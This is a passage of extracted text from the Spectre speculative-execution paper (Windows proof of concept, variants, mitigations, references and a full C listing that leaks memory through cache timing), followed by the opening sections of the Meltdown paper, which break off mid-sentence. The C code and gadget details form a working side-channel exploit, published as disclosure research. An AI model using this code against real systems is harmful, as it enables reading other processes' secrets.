ing set include several megabytes of executable code,
which provides ample space to search for gadgets.

• For both history matching and predictions, the branch
predictor only appears to pay attention to branch des-
tination virtual addresses. The source address of the
instruction performing the jump, physical addresses,
timing, and process ID do not appear to matter.

• The algorithm that tracks and matches jump histo-
ries appears to use only the low bits of the virtual
address (which are further reduced by simple hash
function). As a result, an adversary does not need to
be able to even execute code at any of the memory
addresses containing the victim’s branch instruction.
ASLR can also be compensated, since upper bits are
ignored and bits 15..0 do not appear to be randomized
with ASLR in Win32 or Win64.

• The branch predictor learns from jumps to illegal
destinations. Although an exception is triggered in
the attacker’s process, this can be caught easily (e.g.
using try...catch in C++). The branch predictor
will then make predictions that send other processes
to the illegal destination.

• Mistraining effects across CPUs were not observed,
suggesting that branch predictors on each CPU oper-
ate independently.

• DLL code and constant data regions can be read and
clflush’ed by any process using the DLL, making
them convenient to use as table areas in flush-and-
probe attacks.

• DLL regions can be written by applications. A copy-
on-write mechanism is used, so these modifications
are only visible to the process that performs the mod-
ification. Still, this simplifies branch predictor mis-
training because this allows gadgets to return cleanly
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during mistraining, regardless of what instructions
follow the gadget.

Although testing was performed using 32-bit applica-
tions on Windows 8, 64-bit modes and other versions of
Windows and Linux shared libraries are likely to work
similarly. Kernel mode testing has not been performed,
but the combination of address truncation/hashing in the
history matching and trainability via jumps to illegal des-
tinations suggest that attacks against kernel mode may be
possible. The effect on other kinds of jumps, such as in-
terrupts and interrupt returns, is also unknown.

5.2 Example Implementation on Windows
As a proof-of-concept, a simple program was written
that generates a random key then does an infinite loop
that calls Sleep(0), loads the first bytes of a file (e.g.,
as a header), calls Windows crypto functions to com-
pute the SHA-1 hash of (key || header), and prints the
hash whenever the header changes. When this program
is compiled with optimization, the call to Sleep() gets
made with file data in registers ebx and edi. No spe-
cial effort was taken to cause this; as noted above, func-
tion calls with adversary-chosen values in registers are
common, although the specifics (such as what values ap-
pear in which registers) are often determined by com-
piler optimizations and therefore difficult to predict from
source code. The test program did not include any mem-
ory flushing operations or other adaptations to help the
attacker.

The first step was to identify a gadget which, when
speculatively executed with adversary-controlled values
for ebx and edi, would reveal attacker-chosen memory
from the victim process. As noted above, this gadget
must be in an executable page within the working set of
the victim process. (On Windows, some pages in DLLs
are mapped in the address space but require a soft page
fault before becoming part of the working set.) A sim-
ple program was written that saved its own working set
pages, which are largely representative of the working
set contents common to all applications. This output was
then searched for potential gadgets, yielding multiple us-
able options for ebx and edi (as well as for other pairs of
registers). Of these, the following byte sequence which
appears in ntdll.dll in both Windows 8 and Windows
10 was (rather arbitrarily) chosen

13 BC 13 BD 13 BE 13

12 17

which, when executed, corresponds to the following in-
structions:

adc edi,dword ptr [ebx+edx+13BE13BDh]

adc dl,byte ptr [edi]

Speculative execution of this gadget with attacker-
controlled ebx and edi allows an adversary to read
the victim’s memory. If the adversary chooses ebx =
m− 0x13BE13BD− edx, where edx = 3 for the sample
program (as determined by running in a debugger), the
first instruction reads the 32-bit value from address m and
adds this onto edi. (In the victim, the carry flag happens
to be clear, so no additional carry is added.) Since edi

is also controlled by the attacker, speculative execution
of the second instruction will read (and bring into the
cache) the memory whose address is the sum of the 32-
bit value loaded from address m and the attacker-chosen
edi. Thus, the attacker can map the 232 possible memory
values onto smaller regions, which can then be analyzed
via flush-and-probe to solve for memory bytes. For ex-
ample, if the bytes at m+ 2 and m+ 3 are known, the
value in edi can cancel out their contribution and map
the second read to a 64KB region which can be probed
easily via flush-and-probe.

The operation chosen for branch mistraining was the
first instruction of the Sleep() function, which is a
jump of the form “jmp dword ptr ds:[76AE0078h]”
(where both the location of the jump destination and the
destination itself change per reboot due to ASLR). This
jump instruction was chosen because it appeared that the
attack process could clflush the destination address, al-
though (as noted later) this did not work. In addition,
unlike a return instruction, there were no adjacent opera-
tions might un-evict the return address (e.g., by accessing
the stack) and limit speculative execution.

In order to get the victim to speculatively execute the
gadget, the memory location containing the jump desti-
nation needs to be uncached, and the branch predictor
needs be mistrained to send speculative execution to the
gadget. This was accomplished as follows:

• Simple pointer operations were used to locate the
indirect jump at the entry point for Sleep() and
the memory location holding the destination for the
jump.

• A search of ntdll.dll in RAM was performed to
find the gadget, and some shared DLL memory was
chosen for performing flush-and-probe detections.

• To prepare for branch predictor mistraining, the
memory page containing the destination for the jump
destination was made writable (via copy-on-write)
and modified to change the jump destination to the
gadget address. Using the same method, a ret 4

instruction was written at the location of the gad-
get. These changes but do not affect the memory
seen by the victim (which is running in a separate
process), but makes it so that the attacker’s calls to
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Sleep() will jump to the gadget address (mistrain-
ing the branch predictor) then immediately return.

• A separate thread was launched to repeatedly evict
the victim’s memory address containing the jump
destination. (Although the memory containing the
destination has the same virtual address for the at-
tacker and victim, they appear to have different phys-
ical memory – perhaps because of a prior copy-on-
write.) Eviction was done using the same general
method as the JavaScript example, i.e., by allocating
a large table and using a pair of indexes to read ad-
dresses at 4096-byte multiples of the address to evict.

• Thread(s) were launched to mistrain the branch pre-
dictor. These use a 220 byte (1MB) executable mem-
ory region filled with 0xC3 bytes (ret instructions.
The victim’s pattern of jump destinations is mapped
to addresses in this area, with an adjustment for
ASLR found during an initial training process (see
below). The mistraining threads run a loop which
pushes the mapped addresses onto the stack such that
an initiating ret instruction results in the processor
performing a series of return instructions in the mem-
ory region, then branches to the gadget address, then
(because of the ret placed there) immediately re-
turns back to the loop. To encourage hyperthreading
of the mistraining thread and the victim, the eviction
and probing threads set their CPU affinity to share a
core (which they keep busy), leaving the victim and
mistraining threads to share the rest of the cores.

• During the initial phase of getting the branch predic-
tor mistraining working, the victim is supplied with
input that, when the victim calls Sleep(), [ebx+
3h+ 13BE13BDh] will read a DLL location whose
value is known and edi is chosen such that the sec-
ond operation will point to another location that can
be monitored easily. With these settings, the branch
training sequence is adjusted to compensate for the
victim’s ASLR.

• Finally, once an effective mimic jump sequence is
found, the attacker can read through the victim’s ad-
dress space to locate and read victim data regions to
locate values (which can move due to ASLR) by con-
trolling the values of ebx and edi and using flush-
and-probe on the DLL region selected above.

The completed attack allows the reading of memory
from the victim process.

6 Variations

So far we have demonstrated attacks that leverage
changes in the state of the cache that occur during spec-

ulative execution. Future processors (or existing proces-
sors with different microcode) may behave differently,
e.g., if measures are taken to prevent speculatively ex-
ecuted code from modifying the cache state. In this
section, we examine potential variants of the attack, in-
cluding how speculative execution could affect the state
of other microarchitectural components. In general, the
Spectre attack can be combined with other microarchi-
tectural attacks. In this section we explore potential com-
binations and conclude that virtually any observable ef-
fect of speculatively executed code can potentially lead
to leaks of sensitive information. Although the following
techniques are not needed for the processors tested (and
have not been implemented), it is essential to understand
potential variations when designing or evaluating mitiga-
tions.

Evict+Time. The Evict+Time attack [29] works by
measuring the timing of operations that depend on the
state of the cache. This technique can be adapted to use
Spectre as follows. Consider the code:

if (false but mispredicts as true)

read array1[R1]

read [R2]

Suppose register R1 contains a secret value. If the
speculatively executed memory read of array1[R1] is
a cache hit, then nothing will go on the memory bus
and the read from [R2] will initiate quickly. If the read
of array1[R1] is a cache miss, then the second read
may take longer, resulting in different timing for the vic-
tim thread. In addition, other components in the system
that can access memory (such as other processors) may
be able to the presence of activity on the memory bus
or other effects of the memory read (e.g. changing the
DRAM row address select). We note that this attack,
unlike those we have implemented, would work even if
speculative execution does not modify the contents of the
cache. All that is required is that the state of the cache af-
fects the timing of speculatively executed code or some
other property that ultimately becomes is visible to the
attacker.

Instruction Timing. Spectre vulnerabilities do not nec-
essarily need to involve caches. Instructions whose tim-
ing depends on the values of the operands may leak in-
formation on the operands [8]. In the following example,
the multiplier is occupied by the speculative execution
of multiply R1, R2. The timing of when the multi-
plier becomes available for multiply R3, R4 (either
for out-of-order execution or after the misprediction is
recognized) could be affected by the timing of the first
multiplication, revealing information about R1 and R2.

if (false but mispredicts as true)
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multiply R1, R2

multiply R3, R4

Contention on the Register File. Suppose the CPU has
a registers file with a finite number of registers available
for storing checkpoints for speculative execution. In the
following example, if condition on R1 in the second
‘if’ is true, then an extra speculative execution check-
point will be created than if condition on R1 is false.
If an adversary can detect this checkpoint, e.g., if spec-
ulative execution of code in hyperthreads is reduced due
to a shortage of storage, this reveals information about
R1.

if (false but mispredicts as true)

if (condition on R1)

if (condition)

Variations on Speculative Execution. Even code that
contains no conditional branches can potentially be at
risk. For example, consider the case where an attacker
wishes to determine whether R1 contains an attacker-
chosen value X or some other value. (The ability to
make such determinations is sufficient to break some
cryptographic implementations.) The attacker mistrains
the branch predictor such that, after an interrupt occurs,
and the interrupt return mispredicts to an instruction that
reads memory [R1]. The attacker then chooses X to cor-
respond to a memory address suitable for Flush+Reload,
revealing whether R1= X .
Leveraging arbitrary observable effects. Virtually
any observable effect of speculatively executed code can
be leveraged to leak sensitive information.

Consider the example in Listing 1 where the operation
after the access to array1/array2 is observable when
executed speculatively. In this case, the timing of when
the observable operation begins will depend on the cache
status of array2.

if (x < array1_size) {

y = array2[array1[x] * 256];

// do something using Y that is

// observable when speculatively executed

}

7 Mitigation Options

The conditional branch vulnerability can be mitigated
if speculative execution can be halted on potentially-
sensitive execution paths. On Intel x86 processors, “se-
rializing instructions” appear to do this in practice, al-
though their architecturally-guaranteed behavior is to
“constrain speculative execution because the results of
speculatively executed instructions are discarded” [4].

This is different from ensuring that speculative execution
will not occur or leak information. As a result, serializa-
tion instructions may not be an effective countermeasure
on all processors or system configurations. In addition,
of the three user-mode serializing instructions listed by
Intel, only cpuid can be used in normal code, and it de-
stroys many registers. The mfence and lfence (but not
sfence) instructions also appear to work, with the added
benefit that they do not destroy register contents. Their
behavior with respect to speculative execution is not de-
fined, however, so they may not work in all CPUs or sys-
tem configurations.1 Testing on non-Intel CPUs has not
been performed. While simple delays could theoretically
work, they would need to be very long since specula-
tive execution routinely stretches nearly 200 instructions
ahead of a cache miss, and much greater distances may
occur.

The problem of inserting speculative execution block-
ing instructions is challenging. Although a compiler
could easily insert such instructions comprehensively
(i.e., at both the instruction following each conditional
branch and its destination), this would severely degrade
performance. Static analysis techniques might be able to
eliminate some of these checks. Insertion in security-
critical routines alone is not sufficient, since the vul-
nerability can leverage non-security-critical code in the
same process. In addition, code needs to be recompiled,
presenting major practical challenges for legacy applica-
tions.

Indirect branch poisoning is even more challenging
to mitigate in software. It might be possible to disable
hyperthreading and flush branch prediction state during
context switches, although there does not appear to be
any architecturally-defined method for doing this [14].
This also may not address all cases, such as switch()
statements where inputs to one case may be hazardous in
another. (This situation is likely to occur in interpreters
and parsers.) In addition, the applicability of specula-
tive execution following other forms of jumps, such as
those involved in interrupt handling, are also currently
unknown and likely to vary among processors.

The practicality of microcode fixes for existing proces-
sors is also unknown. It is possible that a patch could dis-
able speculative execution or prevent speculative mem-
ory reads, but this would bring a significant performance
penalty. Buffering speculatively-initiated memory trans-
actions separately from the cache until speculative exe-
cution is committed is not a sufficient countermeasure,
since the timing of speculative execution can also reveal
information. For example, if speculative execution uses
a sensitive value to form the address for a memory read,

1After reviewing an initial draft of this paper, Intel engineers in-
dicated that the definition of lfence will be revised to specify that it
blocks speculative execution.
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the cache status of that read will affect the timing of the
next speculative operation. If the timing of that opera-
tion can be inferred, e.g., because it affects a resource
such as a bus or ALU used by other threads, the mem-
ory is compromised. More broadly, potential counter-
measures limited to the memory cache are likely to be
insufficient, since there are other ways that speculative
execution can leak information. For example, timing ef-
fects from memory bus contention, DRAM row address
selection status, availability of virtual registers, ALU ac-
tivity, and the state of the branch predictor itself need
to be considered. Of course, speculative execution will
also affect conventional side channels, such as power and
EM.

As a result, any software or microcode countermea-
sure attempts should be viewed as stop-gap measures
pending further research.

8 Conclusions and Future Work

Software isolation techniques are extremely widely de-
ployed under a variety of names, including sandbox-
ing, process separation, containerization, memory safety,
proof-carrying code. A fundamental security assumption
underpinning all of these is that the CPU will faithfully
execute software, including its safety checks. Specula-
tive execution unfortunately violates this assumption in
ways that allow adversaries to violate the secrecy (but
not integrity) of memory and register contents. As a re-
sult, a broad range of software isolation approaches are
impacted. In addition, existing countermeasures to cache
attacks for cryptographic implementations consider only
the instructions ‘officially’ executed, not effects due to
speculative execution, and are also impacted.

The feasibility of exploitation depends on a number
of factors, including aspects of the victim CPU and soft-
ware and the adversary’s ability to interact with the vic-
tim. While network-based attacks are conceivable, situa-
tions where an attacker can run code on the same CPU as
the victim pose the primary risk. In these cases, exploita-
tion may be straightforward, while other attacks may de-
pend on minutiae such as choices made by the victim’s
compiler in allocating registers and memory. Fuzzing
tools can likely be adapted by adversaries to find vulner-
abilities in current software.

As the attack involves currently-undocumented hard-
ware effects, exploitability of a given software program
may vary among processors. For example, some indirect
branch redirection tests worked on Skylake but not on
Haswell. AMD states that its Ryzen processors have “an
artificial intelligence neural network that learns to pre-
dict what future pathway an application will take based
on past runs” [3, 5], implying even more complex spec-
ulative behavior. As a result, while the stop-gap coun-

termeasures described in the previous section may help
limit practical exploits in the short term, there is currently
no way to know whether a particular code construction
is, or is not, safe across today’s processors – much less
future designs.

A great deal of work lies ahead. Software security
fundamentally depends on having a clear common un-
derstanding between hardware and software developers
as to what information CPU implementations are (and
are not) permitted to expose from computations. As a re-
sult, long-term solutions will require that instruction set
architectures be updated to include clear guidance about
the security properties of the processor, and CPU imple-
mentations will need to be updated to conform.

More broadly, there are trade-offs between security
and performance. The vulnerabilities in this paper, as
well as many others, arise from a longstanding focus in
the technology industry on maximizing performance. As
a result, processors, compilers, device drivers, operating
systems, and numerous other critical components have
evolved compounding layers of complex optimizations
that introduce security risks. As the costs of insecurity
rise, these design choices need to be revisited, and in
many cases alternate implementations optimized for se-
curity will be required.
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[7] ACIIÇMEZ, O., KOÇ, ÇETIN KAYA., AND SEIFERT, J.-P. Pre-
dicting secret keys via branch prediction. In Topics in Cryptology
– CT-RSA 2007 (Feb. 2007), M. Abe, Ed., vol. 4377 of Lecture
Notes in Computer Science, Springer, Heidelberg, pp. 225–242.

[8] ANDRYSCO, M., KOHLBRENNER, D., MOWERY, K., JHALA,
R., LERNER, S., AND SHACHAM, H. On subnormal floating
point and abnormal timing. In 2015 IEEE Symposium on Security
and Privacy (May 2015), IEEE Computer Society Press, pp. 623–
639.

[9] BERNSTEIN, D. J. Cache-timing attacks on AES. http:

//cr.yp.to/papers.html#cachetiming, 2005.

[10] BHATTACHARYA, S., MAURICE, C., AND BHASIN, SHIVAM
ABD MUKHOPADHYAY, D. Template attack on blinded
scalar multiplication with asynchronous perf-ioctl calls. Cryp-
tology ePrint Archive, Report 2017/968, 2017. http://

eprint.iacr.org/2017/968.

[11] EVTYUSHKIN, D., PONOMAREV, D. V., AND ABU-
GHAZALEH, N. B. Jump over ASLR: attacking branch
predictors to bypass ASLR. In MICRO (2016), IEEE Computer
Society, pp. 1–13.

[12] FOGH, A. Negative result: Reading kernel memory from user
mode, 2017. https://cyber.wtf/2017/07/28/negative-
result-reading-kernel-memory-from-user-mode/.

[13] GE, Q., YAROM, Y., COCK, D., AND HEISER, G. A survey of
microarchitectural timing attacks and countermeasures on con-
temporary hardware. J. Cryptographic Engineering (2016).

[14] GE, Q., YAROM, Y., AND HEISER, G. Your processor leaks
information - and there’s nothing you can do about it. CoRR
abs/1612.04474 (2017).

[15] GENKIN, D., PACHMANOV, L., PIPMAN, I., SHAMIR, A., AND
TROMER, E. Physical key extraction attacks on PCs. Commun.
ACM 59, 6 (2016), 70–79.

[16] GENKIN, D., PACHMANOV, L., PIPMAN, I., TROMER, E., AND
YAROM, Y. ECDSA key extraction from mobile devices via
nonintrusive physical side channels. In ACM Conference on
Computer and Communications Security CCS 2016 (Oct. 2016),
pp. 1626–1638.

[17] GENKIN, D., SHAMIR, A., AND TROMER, E. RSA key extrac-
tion via low-bandwidth acoustic cryptanalysis. In CRYPTO 2014
(2014), Springer, pp. 444–461 (vol. 1).

[18] GRAS, B., RAZAVI, K., BOSMAN, E., BOS, H., AND GIUF-
FRIDA, C. ASLR on the line: Practical cache attacks on the
MMU, 2017. http://www.cs.vu.nl/~giuffrida/papers/
anc-ndss-2017.pdf.

[19] GRUSS, D., LIPP, M., SCHWARZ, M., FELLNER, R., MAU-
RICE, C., AND MANGARD, S. KASLR is Dead: Long Live
KASLR. In International Symposium on Engineering Secure
Software and Systems (2017), Springer, pp. 161–176.

[20] GRUSS, D., SPREITZER, R., AND MANGARD, S. Cache tem-
plate attacks: Automating attacks on inclusive last-level caches.
In USENIX Security Symposium (2015), USENIX Association,
pp. 897–912.

[21] GULLASCH, D., BANGERTER, E., AND KRENN, S. Cache
games - bringing access-based cache attacks on AES to practice.
In 2011 IEEE Symposium on Security and Privacy (May 2011),
IEEE Computer Society Press, pp. 490–505.

[22] KIM, Y., DALY, R., KIM, J., FALLIN, C., LEE, J. H., LEE,
D., WILKERSON, C., LAI, K., AND MUTLU, O. Flip-
ping bits in memory without accessing them: An experimen-
tal study of DRAM disturbance errors, 2014. https://

users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf.

[23] KOCHER, P., JAFFE, J., AND JUN, B. Differential power analy-
sis. In CRYPTO 1999 (1999), Springer, pp. 388–397.

[24] KOCHER, P., JAFFE, J., JUN, B., AND ROHATGI, P. Introduc-
tion to differential power analysis. Journal of Cryptographic En-
gineering 1, 1 (2011), 5–27.

[25] KOCHER, P. C. Timing attacks on implementations of Diffie-
Hellman, RSA, DSS, and other systems. In CRYPTO 1996
(1996), Springer, pp. 104–113.

[26] LEE, S., SHIH, M., GERA, P., KIM, T., KIM, H., AND
PEINADO, M. Inferring fine-grained control flow inside SGX
enclaves with branch shadowing. In 26th USENIX Security Sym-
posium, USENIX Security 2017, Vancouver, BC, Canada, August
16-18, 2017. (2017), pp. 557–574.

[27] LIPP, M., SCHWARZ, M., GRUSS, D., PRESCHER, T., HAAS,
W., MANGARD, S., KOCHER, P., GENKIN, D., YAROM, Y.,
AND HAMBURG, M. Meltdown. Unpublished, 2018.

[28] LIU, F., YAROM, Y., GE, Q., HEISER, G., AND LEE, R. B.
Last-level cache side-channel attacks are practical. In IEEE Sym-
posium on Security and Privacy (S&P) 2015 (2015), IEEE.

[29] OSVIK, D. A., SHAMIR, A., AND TROMER, E. Cache attacks
and countermeasures: The case of AES. In Topics in Cryptology
– CT-RSA 2006 (Feb. 2006), D. Pointcheval, Ed., vol. 3860 of
Lecture Notes in Computer Science, Springer, Heidelberg, pp. 1–
20.

[30] PERCIVAL, C. Cache missing for fun and profit. http://

www.daemonology.net/papers/htt.pdf, 2005.

[31] QUISQUATER, J.-J., AND SAMYDE, D. Electromagnetic analy-
sis (EMA): Measures and counter-measures for smart cards. In
E-smart 2001 (2001), pp. 200–210.

[32] SCHWARZ, M., MAURICE, C., GRUSS, D., AND MANGARD, S.
Fantastic timers and where to find them: high-resolution microar-
chitectural attacks in JavaScript. In International Conference
on Financial Cryptography and Data Security (2017), Springer,
pp. 247–267.

[33] SHACHAM, H. The geometry of innocent flesh on the bone:
return-into-libc without function calls (on the x86). In ACM CCS
07: 14th Conference on Computer and Communications Security
(Oct. 2007), P. Ning, S. D. C. di Vimercati, and P. F. Syverson,
Eds., ACM Press, pp. 552–561.

[34] TANG, A., SETHUMADHAVAN, S., AND STOLFO, S.
CLKSCREW: exposing the perils of security-oblivious energy
management. 26th USENIX Security Symposium, 2017.

[35] TSUNOO, Y., SAITO, T., SUZAKI, T., SHIGERI, M., AND
MIYAUCHI, H. Cryptanalysis of DES implemented on computers
with cache. In Cryptographic Hardware and Embedded Systems
– CHES 2003 (Sept. 2003), C. D. Walter, Çetin Kaya. Koç, and
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A Spectre Example Implementation

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <stdint.h>

4 #ifdef _MSC_VER

5 #include <intrin.h> /* for rdtscp and clflush */

6 #pragma optimize("gt",on)

7 #else

8 #include <x86intrin.h> /* for rdtscp and clflush */

9 #endif

10

11 /********************************************************************

12 Victim code.

13 ********************************************************************/

14 unsigned int array1_size = 16;

15 uint8_t unused1[64];

16 uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };

17 uint8_t unused2[64];

18 uint8_t array2[256 * 512];

19

20 char *secret = "The Magic Words are Squeamish Ossifrage.";

21

22 uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

23

24 void victim_function(size_t x) {

25 if (x < array1_size) {

26 temp &= array2[array1[x] * 512];

27 }

28 }

29

30

31 /********************************************************************

32 Analysis code

33 ********************************************************************/

34 #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

35

36 /* Report best guess in value[0] and runner-up in value[1] */

37 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {

38 static int results[256];

39 int tries, i, j, k, mix_i, junk = 0;

40 size_t training_x, x;

41 register uint64_t time1, time2;

42 volatile uint8_t *addr;

43

44 for (i = 0; i < 256; i++)

45 results[i] = 0;

46 for (tries = 999; tries > 0; tries--) {

47

48 /* Flush array2[256*(0..255)] from cache */

49 for (i = 0; i < 256; i++)

50 _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

51

52 /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */

53 training_x = tries % array1_size;

54 for (j = 29; j >= 0; j--) {

55 _mm_clflush(&array1_size);

56 for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

57

58 /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */

59 /* Avoid jumps in case those tip off the branch predictor */

60 x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */

61 x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */

62 x = training_x ^ (x & (malicious_x ^ training_x));

63

64 /* Call the victim! */

65 victim_function(x);
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66 }

67

68 /* Time reads. Order is lightly mixed up to prevent stride prediction */

69 for (i = 0; i < 256; i++) {

70 mix_i = ((i * 167) + 13) & 255;

71 addr = &array2[mix_i * 512];

72 time1 = __rdtscp(&junk); /* READ TIMER */

73 junk = *addr; /* MEMORY ACCESS TO TIME */

74 time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

75 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])

76 results[mix_i]++; /* cache hit - add +1 to score for this value */

77 }

78

79 /* Locate highest & second-highest results results tallies in j/k */

80 j = k = -1;

81 for (i = 0; i < 256; i++) {

82 if (j < 0 || results[i] >= results[j]) {

83 k = j;

84 j = i;

85 } else if (k < 0 || results[i] >= results[k]) {

86 k = i;

87 }

88 }

89 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))

90 break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

91 }

92 results[0] ^= junk; /* use junk so code above won’t get optimized out*/

93 value[0] = (uint8_t)j;

94 score[0] = results[j];

95 value[1] = (uint8_t)k;

96 score[1] = results[k];

97 }

98

99 int main(int argc, const char **argv) {

100 size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */

101 int i, score[2], len=40;

102 uint8_t value[2];

103

104 for (i = 0; i < sizeof(array2); i++)

105 array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */

106 if (argc == 3) {

107 sscanf(argv[1], "%p", (void**)(&malicious_x));

108 malicious_x -= (size_t)array1; /* Convert input value into a pointer */

109 sscanf(argv[2], "%d", &len);

110 }

111

112 printf("Reading %d bytes:\n", len);

113 while (--len >= 0) {

114 printf("Reading at malicious_x = %p... ", (void*)malicious_x);

115 readMemoryByte(malicious_x++, value, score);

116 printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));

117 printf("0x%02X=’%c’ score=%d ", value[0],

118 (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);

119 if (score[1] > 0)

120 printf("(second best: 0x%02X score=%d)", value[1], score[1]);

121 printf("\n");

122 }

123 return (0);

124 }

Listing 4: A demonstration reading memory using a Spectre attack on x86.
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Abstract

The security of computer systems fundamentally relies
on memory isolation, e.g., kernel address ranges are
marked as non-accessible and are protected from user
access. In this paper, we present Meltdown. Meltdown
exploits side effects of out-of-order execution on mod-
ern processors to read arbitrary kernel-memory locations
including personal data and passwords. Out-of-order
execution is an indispensable performance feature and
present in a wide range of modern processors. The attack
is independent of the operating system, and it does not
rely on any software vulnerabilities. Meltdown breaks
all security assumptions given by address space isola-
tion as well as paravirtualized environments and, thus,
every security mechanism building upon this foundation.
On affected systems, Meltdown enables an adversary to
read memory of other processes or virtual machines in
the cloud without any permissions or privileges, affect-
ing millions of customers and virtually every user of a
personal computer. We show that the KAISER defense
mechanism for KASLR [8] has the important (but inad-
vertent) side effect of impeding Meltdown. We stress
that KAISER must be deployed immediately to prevent
large-scale exploitation of this severe information leak-
age.

1 Introduction

One of the central security features of today’s operating
systems is memory isolation. Operating systems ensure
that user applications cannot access each other’s memo-
ries and prevent user applications from reading or writ-
ing kernel memory. This isolation is a cornerstone of our
computing environments and allows running multiple ap-
plications on personal devices or executing processes of
multiple users on a single machine in the cloud.

On modern processors, the isolation between the ker-
nel and user processes is typically realized by a supervi-

sor bit of the processor that defines whether a memory
page of the kernel can be accessed or not. The basic
idea is that this bit can only be set when entering kernel
code and it is cleared when switching to user processes.
This hardware feature allows operating systems to map
the kernel into the address space of every process and
to have very efficient transitions from the user process
to the kernel, e.g., for interrupt handling. Consequently,
in practice, there is no change of the memory mapping
when switching from a user process to the kernel.

In this work, we present Meltdown1. Meltdown is a
novel attack that allows overcoming memory isolation
completely by providing a simple way for any user pro-
cess to read the entire kernel memory of the machine it
executes on, including all physical memory mapped in
the kernel region. Meltdown does not exploit any soft-
ware vulnerability, i.e., it works on all major operating
systems. Instead, Meltdown exploits side-channel infor-
mation available on most modern processors, e.g., mod-
ern Intel microarchitectures since 2010 and potentially
on other CPUs of other vendors.

While side-channel attacks typically require very spe-
cific knowledge about the target application and are tai-
lored to only leak information about its secrets, Melt-
down allows an adversary who can run code on the vul-
nerable processor to obtain a dump of the entire kernel
address space, including any mapped physical memory.
The root cause of the simplicity and strength of Melt-
down are side effects caused by out-of-order execution.

Out-of-order execution is an important performance
feature of today’s processors in order to overcome laten-
cies of busy execution units, e.g., a memory fetch unit
needs to wait for data arrival from memory. Instead of
stalling the execution, modern processors run operations
out-of-order i.e., they look ahead and schedule subse-
quent operations to idle execution units of the proces-
sor. However, such operations often have unwanted side-

1This attack was independently found by the authors of this paper
and Jann Horn from Google Project Zero.
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effects, e.g., timing differences [28, 35, 11] can leak in-
formation from both sequential and out-of-order execu-
tion.

From a security perspective, one observation is partic-
ularly significant: Out-of-order; vulnerable CPUs allow
an unprivileged process to load data from a privileged
(kernel or physical) address into a temporary CPU reg-
ister. Moreover, the CPU even performs further com-
putations based on this register value, e.g., access to an
array based on the register value. The processor ensures
correct program execution, by simply discarding the re-
sults of the memory lookups (e.g., the modified register
states), if it turns out that an instruction should not have
been executed. Hence, on the architectural level (e.g., the
abstract definition of how the processor should perform
computations), no security problem arises.

However, we observed that out-of-order memory
lookups influence the cache, which in turn can be de-
tected through the cache side channel. As a result, an
attacker can dump the entire kernel memory by reading
privileged memory in an out-of-order execution stream,
and transmit the data from this elusive state via a mi-
croarchitectural covert channel (e.g., Flush+Reload) to
the outside world. On the receiving end of the covert
channel, the register value is reconstructed. Hence, on
the microarchitectural level (e.g., the actual hardware im-
plementation), there is an exploitable security problem.

Meltdown breaks all security assumptions given by the
CPU’s memory isolation capabilities. We evaluated the
attack on modern desktop machines and laptops, as well
as servers in the cloud. Meltdown allows an unprivileged
process to read data mapped in the kernel address space,
including the entire physical memory on Linux and OS
X, and a large fraction of the physical memory on Win-
dows. This may include physical memory of other pro-
cesses, the kernel, and in case of kernel-sharing sand-
box solutions (e.g., Docker, LXC) or Xen in paravirtu-
alization mode, memory of the kernel (or hypervisor),
and other co-located instances. While the performance
heavily depends on the specific machine, e.g., processor
speed, TLB and cache sizes, and DRAM speed, we can
dump kernel and physical memory with up to 503 KB/s.
Hence, an enormous number of systems are affected.

The countermeasure KAISER [8], originally devel-
oped to prevent side-channel attacks targeting KASLR,
inadvertently protects against Meltdown as well. Our
evaluation shows that KAISER prevents Meltdown to a
large extent. Consequently, we stress that it is of ut-
most importance to deploy KAISER on all operating
systems immediately. Fortunately, during a responsible
disclosure window, the three major operating systems
(Windows, Linux, and OS X) implemented variants of
KAISER and will roll out these patches in the near fu-
ture.

Meltdown is distinct from the Spectre Attacks [19] in
several ways, notably that Spectre requires tailoring to
the victim process’s software environment, but applies
more broadly to CPUs and is not mitigated by KAISER.

Contributions. The contributions of this work are:
1. We describe out-of-order execution as a new, ex-

tremely powerful, software-based side channel.
2. We show how out-of-order execution can be com-

bined with a microarchitectural covert channel to
transfer the data from an elusive state to a receiver
on the outside.

3. We present an end-to-end attack combining out-of-
order execution with exception handlers or TSX, to
read arbitrary physical memory without any permis-
sions or privileges, on laptops, desktop machines,
and on public cloud machines.

4. We evaluate the performance of Meltdown and the
effects of KAISER on it.

Outline. The remainder of this paper is structured as
follows: In Section 2, we describe the fundamental prob-
lem which is introduced with out-of-order execution. In
Section 3, we provide a toy example illustrating the side
channel Meltdown exploits. In Section 4, we describe
the building blocks of the full Meltdown attack. In Sec-
tion 5, we present the Meltdown attack. In Section 6,
we evaluate the performance of the Meltdown attack on
several different systems. In Section 7, we discuss the ef-
fects of the software-based KAISER countermeasure and
propose solutions in hardware. In Section 8, we discuss
related work and conclude our work in Section 9.

2 Background

In this section, we provide background on out-of-order
execution, address translation, and cache attacks.

2.1 Out-of-order execution
Out-of-order execution is an optimization technique that
allows to maximize the utilization of all execution units
of a CPU core as exhaustive as possible. Instead of pro-
cessing instructions strictly in the sequential program or-
der, the CPU executes them as soon as all required re-
sources are available. While the execution unit of the
current operation is occupied, other execution units can
run ahead. Hence, instructions can be run in parallel as
long as their results follow the architectural definition.

In practice, CPUs supporting out-of-order execution
support running operations speculatively to the extent
